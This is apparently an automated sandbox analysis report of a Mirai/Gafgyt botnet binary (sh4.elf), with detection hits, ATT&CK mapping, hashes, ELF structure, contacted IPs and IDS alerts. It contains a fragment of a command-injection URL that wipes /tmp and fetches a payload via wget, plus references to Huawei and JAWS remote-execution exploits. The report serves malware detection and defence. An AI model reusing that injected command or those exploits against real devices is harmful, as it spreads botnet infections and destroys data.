Source: Yara match	File source: 5486.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5482, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5486, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: sh4.elf, type: SAMPLE
Source: Yara match	File source: 5482.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5486.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5482, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sh4.elf PID: 5486, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
sh4.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
scamanje.stresserit.pro	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	sh4.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	sh4.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
122.249.144.173	unknown	Japan	4685	ASAHI-NETAsahiNetJP	false
183.54.56.156	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
142.34.227.146	unknown	Canada	30715	Q9-AS-KML1CA	false
61.193.161.220	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
125.233.123.84	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
197.217.101.147	unknown	Angola	11259	ANGOLATELECOMAO	false
41.141.72.170	unknown	Morocco	36903	MT-MPLSMA	false
116.173.160.149	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.243.99.96	unknown	Rwanda	37228	Olleh-Rwanda-NetworksRW	false
41.77.181.127	unknown	Algeria	36974	AFNET-ASCI	false
197.226.82.205	unknown	Mauritius	23889	MauritiusTelecomMU	false
156.92.15.74	unknown	United States	10695	WAL-MARTUS	false
156.26.242.134	unknown	United States	22245	WICHITA-STATE-UUS	false
91.3.202.170	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
165.98.111.44	unknown	Nicaragua	27742	AmnetTelecomunicacionesSANI	false
194.173.171.238	unknown	Germany	702	UUNETUS	false
41.54.60.129	unknown	South Africa	37168	CELL-CZA	false
71.31.88.5	unknown	United States	7029	WINDSTREAMUS	false
221.215.71.42	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
130.3.106.8	unknown	United States	6908	DATAHOPDatahop-SixDegreesGB	false
41.225.142.136	unknown	Tunisia	37671	GLOBALNET-ASTN	false
190.184.235.233	unknown	Argentina	52369	NEOPHONEARGENTINASRLAR	false
197.53.167.35	unknown	Egypt	8452	TE-ASTE-ASEG	false
201.158.212.165	unknown	Mexico	6503	AxtelSABdeCVMX	false
90.16.108.186	unknown	France	3215	FranceTelecom-OrangeFR	false
142.159.176.73	unknown	Canada	822	STJOSEPHS-ASCA	false
139.194.201.100	unknown	Indonesia	23700	FASTNET-AS-IDLinknet-FastnetASNID	false
114.195.142.100	unknown	Japan	9595	XEPHIONNTT-MECorporationJP	false
204.28.35.25	unknown	United States	13325	STOMIUS	false
118.18.45.129	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
8.76.213.52	unknown	United States	3356	LEVEL3US	false
38.154.20.156	unknown	United States	174	COGENT-174US	false
13.255.9.80	unknown	United States	16509	AMAZON-02US	false
9.198.170.81	unknown	United States	3356	LEVEL3US	false
197.66.206.26	unknown	South Africa	16637	MTNNS-ASZA	false
194.242.102.159	unknown	Ukraine	31685	TIM-ASUA	false
107.241.252.7	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
135.172.178.8	unknown	United States	14962	NCR-252US	false
198.119.252.165	unknown	United States	297	AS297US	false
156.63.150.32	unknown	United States	62724	NWOCA-ASUS	false
94.85.218.80	unknown	Italy	3269	ASN-IBSNAZIT	false
197.45.32.37	unknown	Egypt	8452	TE-ASTE-ASEG	false
86.239.217.34	unknown	France	3215	FranceTelecom-OrangeFR	false
156.2.12.211	unknown	United States	29975	VODACOM-ZA	false
41.163.5.236	unknown	South Africa	36937	Neotel-ASZA	false
36.193.116.150	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
160.78.247.116	unknown	Italy	137	ASGARRConsortiumGARREU	false
83.131.1.56	unknown	Croatia (LOCAL Name: Hrvatska)	5391	T-HTCroatianTelecomIncHR	false
208.166.51.211	unknown	United States	46261	QUICKPACKETUS	false
44.67.141.103	unknown	United States	7377	UCSDUS	false
116.221.61.101	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
156.192.115.127	unknown	Egypt	8452	TE-ASTE-ASEG	false
83.163.38.25	unknown	Netherlands	3265	XS4ALL-NLAmsterdamNL	false
157.10.154.115	unknown	unknown	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
108.29.44.31	unknown	United States	701	UUNETUS	false
219.32.88.22	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
162.220.9.67	unknown	United States	8100	ASN-QUADRANET-GLOBALUS	false
156.55.53.185	unknown	United States	22146	LANDAMUS	false
129.214.78.62	unknown	Germany	11363	FUJITSU-USAUS	false
158.100.17.166	unknown	United States	1226	CTA-42-AS1226US	false
76.118.22.201	unknown	United States	7922	COMCAST-7922US	false
197.23.213.106	unknown	Tunisia	37693	TUNISIANATN	false
155.255.220.37	unknown	unknown	394387	VUUUS	false
164.61.200.114	unknown	Germany	8569	MSYSDE	false
197.159.104.87	unknown	Kenya	37421	CellulantKE	false
111.120.41.216	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
163.253.64.138	unknown	United States	210	WEST-NET-WESTUS	false
111.45.222.250	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
156.141.254.169	unknown	United States	29975	VODACOM-ZA	false
41.150.142.16	unknown	South Africa	5713	SAIX-NETZA	false
220.69.201.68	unknown	Korea Republic of	38105	SCH-AS-KRSOONCHUNHYANGUNIVERSITYKR	false
131.199.253.59	unknown	United States	1341	ROCKWELLCOLLINS-ASUS	false
197.62.194.60	unknown	Egypt	8452	TE-ASTE-ASEG	false
193.30.167.185	unknown	Switzerland	204996	TMNETNO	false
74.126.122.28	unknown	Canada	4540	ASN01-SOGECA	false
162.76.70.25	unknown	United States	7155	VIASAT-SP-BACKBONEUS	false
49.248.138.192	unknown	India	17762	HTIL-TTML-IN-APTataTeleservicesMaharashtraLtdIN	false
142.230.101.121	unknown	Canada	6327	SHAWCA	false
48.184.111.138	unknown	United States	2686	ATGS-MMD-ASUS	false
156.134.58.91	unknown	United States	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
41.217.127.145	unknown	Nigeria	37340	SpectranetNG	false
41.35.188.229	unknown	Egypt	8452	TE-ASTE-ASEG	false
132.20.139.189	unknown	United States	409	AFCONC-BLOCK1-ASUS	false
197.44.106.3	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.80.10.6	unknown	United States	393649	BOOZ-AS2US	false
197.90.49.51	unknown	South Africa	10474	OPTINETZA	false
41.38.134.240	unknown	Egypt	8452	TE-ASTE-ASEG	false
193.148.138.87	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
203.167.214.120	unknown	New Zealand	4768	VFNZ-INET-ASVodafoneNZLtdNZ	false
156.156.109.186	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
27.173.88.82	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
41.186.210.250	unknown	Rwanda	36890	MTNRW-ASNRW	false
170.77.168.200	unknown	United States	27185	DHS-INTERNETUS	false
167.114.164.95	unknown	Canada	16276	OVHFR	false
167.179.151.188	unknown	Australia	4764	WIDEBAND-AS-APAussieBroadbandAU	false
89.59.168.144	unknown	Germany	5430	FREENETDEfreenetDatenkommunikationsGmbHDE	false
152.86.78.145	unknown	United States	22987	BRIGHTRIDGEUS	false
197.134.36.216	unknown	Egypt	24835	RAYA-ASEG	false
197.128.22.173	unknown	Morocco	6713	IAM-ASMA	false
197.172.142.238	unknown	South Africa	37168	CELL-CZA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
116.173.160.149	phantom.arm	Get hash	malicious	Mirai	Browse
197.243.99.96	nrsh4.elf	Get hash	malicious	Mirai	Browse
197.243.99.96	SecuriteInfo.com.Linux.Siggen.9999.18952.17524.elf	Get hash	malicious	Mirai	Browse
41.77.181.127	arm.elf	Get hash	malicious	Mirai	Browse
	tmpsl.elf	Get hash	malicious	Mirai	Browse
	RAV6MYlZkN.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	oLehUXsK2P.elf	Get hash	malicious	Mirai	Browse
	Aew6gCjRif.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm7-20231215-0918.elf	Get hash	malicious	Mirai	Browse
	dIYehW6ter.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse
	SecuriteInfo.com.Linux.Siggen.9999.21246.27417.elf	Get hash	malicious	Mirai	Browse
	ut8a24vCpS	Get hash	malicious	Gafgyt, Mirai	Browse
197.217.101.147	mips.elf	Get hash	malicious	Mirai	Browse
	vh9HOxBJJN.elf	Get hash	malicious	Mirai	Browse
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	cfZDkRHSCG.elf	Get hash	malicious	Mirai	Browse
	7vbrDg2AF5.elf	Get hash	malicious	Mirai	Browse
	1nFcHxjn1Q.elf	Get hash	malicious	Mirai	Browse
	skid.arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	2X3ziKfjMT	Get hash	malicious	Unknown	Browse
	4QpvoX8qYS	Get hash	malicious	Mirai	Browse
	18vaq1Ah2l	Get hash	malicious	Mirai	Browse
41.141.72.170	m68k.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Mirai	Browse
	26ee3P3YPJ.elf	Get hash	malicious	Mirai	Browse
	6kHLS8Riy4.elf	Get hash	malicious	Mirai	Browse
	bk.mpsl-20220928-2324.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASAHI-NETAsahiNetJP	xd.spc.elf	Get hash	malicious	Mirai	Browse	221.113.68.21
	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	220.157.185.233
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	118.243.18.91
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	183.77.18.7
	nklppc.elf	Get hash	malicious	Unknown	Browse	131.129.182.72
	zgp.elf	Get hash	malicious	Mirai	Browse	110.4.181.115
	exe009.exe	Get hash	malicious	Emotet	Browse	118.243.83.70
	owari.arm7.elf	Get hash	malicious	Mirai	Browse	210.253.240.203
	yakuza.arm5.elf	Get hash	malicious	Unknown	Browse	61.114.219.129
	amen.ppc.elf	Get hash	malicious	Mirai	Browse	110.4.144.95
CHINANET-BACKBONENo31Jin-rongStreetCN	teste.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	106.31.5.141
	arm7.elf	Get hash	malicious	Mirai	Browse	59.43.155.206
	mips.elf	Get hash	malicious	Mirai	Browse	61.131.244.62
	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	114.221.174.224
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	36.19.234.50
	arm.elf	Get hash	malicious	Mirai	Browse	219.144.203.152
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	59.38.152.183
	xd.x86.elf	Get hash	malicious	Mirai	Browse	124.239.159.57
	xd.mips.elf	Get hash	malicious	Mirai	Browse	121.228.143.245
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	14.216.62.168
Q9-AS-KML1CA	arm.elf	Get hash	malicious	Mirai	Browse	142.34.227.155
	spc.elf	Get hash	malicious	Mirai	Browse	142.34.227.188
	2UngC9fiGa.elf	Get hash	malicious	Mirai, Okiru	Browse	142.34.227.131
	x86.elf	Get hash	malicious	Mirai	Browse	142.34.227.181
	SecuriteInfo.com.Linux.Mirai.8587.19636.7995.elf	Get hash	malicious	Mirai	Browse	142.34.227.149
	PoksxEQkb8.elf	Get hash	malicious	Unknown	Browse	142.34.227.152
	vniiXJivdo.elf	Get hash	malicious	Mirai	Browse	142.34.227.138
	uXUrccWxXO.elf	Get hash	malicious	Unknown	Browse	142.34.227.140
	dWK9PiLE9v.elf	Get hash	malicious	Mirai	Browse	142.34.227.159
	https://www.bceid.ca/	Get hash	malicious	HTMLPhisher	Browse	142.34.208.245

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.831219877775797
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sh4.elf
File size:	63'464 bytes
MD5:	bb42d744ea1185cd59b253ce69a36a61
SHA1:	f64ebbde02a05ef900825c1061b4beea631959e6
SHA256:	145bafd457bcfb1ea526566c8dd6a8cadf0eae52776649718edfb6c60a33d4af
SHA512:	0f87dcb704d739a6115cd79f33e1430a473d956caea49be7ee604060cff7590c20baaed5da3f7917e837aedcb6c3db2c8ec0d7878ca4ab6ba70b95a8ab9015c8
SSDEEP:	1536:f3/3jnhEQFVwt74XI6v/4N8K3nrBLFFwGC2eN:fPjhBFVTY8EnFFFwG
TLSH:	8753AFB2D4AA7D94C2140678A92A8D781723E60096335DF6564BCFA6D40BDFCF50E3F2
File Content Preview:	.ELF.....................@.4...X.......4. ...(...............@...@...........................A...A.(...............Q.td............................././"O.n........#.@........#.*@,....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	63064
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xde40	0x0	0x6	AX	32
.fini	PROGBITS	0x40df20	0xdf20	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40df44	0xdf44	0x14a8	0x0	0x2	A	4
.ctors	PROGBITS	0x41f3f0	0xf3f0	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x41f3f8	0xf3f8	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x41f404	0xf404	0x214	0x0	0x3	WA	4
.bss	NOBITS	0x41f618	0xf618	0x460	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf618	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xf3ec	0xf3ec	6.8670	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xf3f0	0x41f3f0	0x41f3f0	0x228	0x688	2.9864	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T22:02:05.587354+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48840	197.231.134.202	37215	TCP
2024-12-03T22:02:06.278926+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34708	83.66.176.9	80	TCP
2024-12-03T22:02:06.278926+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34708	83.66.176.9	80	TCP
2024-12-03T22:02:07.430428+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46952	85.122.192.250	80	TCP
2024-12-03T22:02:07.430428+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	46952	85.122.192.250	80	TCP
2024-12-03T22:02:11.905744+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46112	156.244.102.116	37215	TCP
2024-12-03T22:02:12.579038+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43506	156.154.246.9	37215	TCP
2024-12-03T22:02:15.780691+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38234	163.191.151.241	80	TCP
2024-12-03T22:02:15.780691+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	38234	163.191.151.241	80	TCP
2024-12-03T22:02:15.869663+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34310	35.155.1.212	80	TCP
2024-12-03T22:02:15.869663+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34310	35.155.1.212	80	TCP
2024-12-03T22:02:16.128386+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54350	54.192.42.136	80	TCP
2024-12-03T22:02:16.128386+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54350	54.192.42.136	80	TCP
2024-12-03T22:02:16.156936+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37330	124.39.156.182	80	TCP
2024-12-03T22:02:16.156936+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	37330	124.39.156.182	80	TCP
2024-12-03T22:02:20.826084+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43934	41.175.115.60	37215	TCP
2024-12-03T22:02:24.961412+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57752	197.47.140.171	37215	TCP
2024-12-03T22:02:24.983413+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56762	41.48.214.226	37215	TCP
2024-12-03T22:02:24.983644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56092	156.71.207.31	37215	TCP
2024-12-03T22:02:24.998915+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46092	156.193.205.255	37215	TCP
2024-12-03T22:02:25.024227+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54222	156.128.181.170	37215	TCP
2024-12-03T22:02:25.045835+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52802	41.74.150.174	37215	TCP
2024-12-03T22:02:25.045867+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57470	41.134.87.124	37215	TCP
2024-12-03T22:02:25.070798+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37534	156.138.184.13	37215	TCP
2024-12-03T22:02:25.076876+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52312	156.5.132.186	37215	TCP
2024-12-03T22:02:25.077047+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48380	156.123.151.3	37215	TCP
2024-12-03T22:02:25.086817+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39168	197.83.50.226	37215	TCP
2024-12-03T22:02:25.092915+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37982	41.249.74.18	37215	TCP
2024-12-03T22:02:25.108395+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47462	41.105.124.119	37215	TCP
2024-12-03T22:02:25.117467+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39102	41.207.60.22	37215	TCP
2024-12-03T22:02:25.117622+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53476	197.113.98.202	37215	TCP
2024-12-03T22:02:25.117764+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52462	197.237.59.118	37215	TCP
2024-12-03T22:02:25.139573+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57616	156.234.225.136	37215	TCP
2024-12-03T22:02:25.155399+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50278	41.73.129.181	37215	TCP
2024-12-03T22:02:25.211782+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54134	197.83.84.192	37215	TCP
2024-12-03T22:02:25.976870+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	45584	100.186.253.107	80	TCP
2024-12-03T22:02:25.976870+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	45584	100.186.253.107	80	TCP
2024-12-03T22:02:25.998932+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54160	156.3.55.17	37215	TCP
2024-12-03T22:02:25.999170+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57956	197.231.150.19	37215	TCP
2024-12-03T22:02:26.014681+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45242	197.240.251.151	37215	TCP
2024-12-03T22:02:26.023779+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36932	197.17.118.166	37215	TCP
2024-12-03T22:02:26.039621+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60416	156.117.49.107	37215	TCP
2024-12-03T22:02:26.061538+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57128	8.73.108.228	80	TCP
2024-12-03T22:02:26.061538+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	57128	8.73.108.228	80	TCP
2024-12-03T22:02:26.070702+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56346	197.105.204.171	37215	TCP
2024-12-03T22:02:26.077090+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48768	220.43.80.1	80	TCP
2024-12-03T22:02:26.077090+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48768	220.43.80.1	80	TCP
2024-12-03T22:02:26.086281+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59194	86.124.165.253	80	TCP
2024-12-03T22:02:26.086281+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	59194	86.124.165.253	80	TCP
2024-12-03T22:02:26.086392+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42150	41.204.219.73	37215	TCP
2024-12-03T22:02:26.108314+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54106	149.250.7.242	80	TCP
2024-12-03T22:02:26.108314+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	54106	149.250.7.242	80	TCP
2024-12-03T22:02:26.108358+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43720	13.161.131.22	80	TCP
2024-12-03T22:02:26.108358+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	43720	13.161.131.22	80	TCP
2024-12-03T22:02:26.108493+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34666	166.74.103.249	80	TCP
2024-12-03T22:02:26.108493+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	34666	166.74.103.249	80	TCP
2024-12-03T22:02:26.117682+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50426	197.136.135.192	80	TCP
2024-12-03T22:02:26.117682+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	50426	197.136.135.192	80	TCP
2024-12-03T22:02:26.133222+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40264	68.105.40.66	80	TCP
2024-12-03T22:02:26.133222+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	40264	68.105.40.66	80	TCP
2024-12-03T22:02:26.180051+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55364	222.244.100.80	80	TCP
2024-12-03T22:02:26.180051+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	55364	222.244.100.80	80	TCP
2024-12-03T22:02:26.516614+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52012	93.51.131.216	80	TCP
